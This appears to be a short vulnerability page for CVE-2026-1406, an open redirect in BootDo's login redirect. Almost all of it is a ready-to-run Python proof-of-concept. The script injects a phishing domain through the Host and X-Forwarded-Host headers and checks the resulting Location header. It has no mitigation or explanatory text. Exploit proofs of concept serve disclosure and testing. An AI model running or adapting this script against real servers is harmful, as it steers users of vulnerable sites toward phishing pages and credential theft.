CVE-2026-1406 BootDo Host Header开放重定向漏洞

import requests # CVE-2026-1406 Open Redirect PoC # Target: BootDo AccessControlFilter redirectToLogin # Attack Vector: Host Header Injection target_url = "http://target-server.com/bootdo/path" malicious_host = "evil-phishing-site.com" # Method 1: Direct Host Header manipulation headers = { "Host": malicious_host, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "text/html,application/xhtml+xml" } # Send request with malicious Host header response = requests.get(target_url, headers=headers, allow_redirects=False) print(f"Status Code: {response.status_code}") print(f"Location Header: {response.headers.get('Location', 'N/A')}") # Method 2: Using X-Forwarded-Host header headers2 = { "Host": "legitimate-server.com", "X-Forwarded-Host": malicious_host, "User-Agent": "Mozilla/5.0" } response2 = requests.get(target_url, headers=headers2, allow_redirects=False) print(f"\nWith X-Forwarded-Host:") print(f"Location Header: {response2.headers.get('Location', 'N/A')}")